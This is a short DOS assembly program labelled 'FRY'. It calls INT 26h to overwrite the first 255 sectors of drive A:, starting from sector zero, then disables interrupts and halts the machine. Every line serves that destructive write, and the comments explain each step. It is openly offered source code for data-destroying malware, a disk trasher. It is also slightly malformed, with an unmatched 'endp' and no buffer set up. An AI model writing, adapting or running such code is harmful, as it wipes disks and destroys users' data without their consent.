.model tiny
.code 
        org  100h

FRY:
   mov  al,0000h    ;  Moves A: into AL register
   mov  cx,255      ;  Do 255 sectors
   xor  dx,dx       ;  make 'em zero's
   int  26h         ;  Absolute disk write
   cli              ;  disable interrupts
   hlt              ;  hlt the system to insure a reboot
EXIT:    endp
end Fry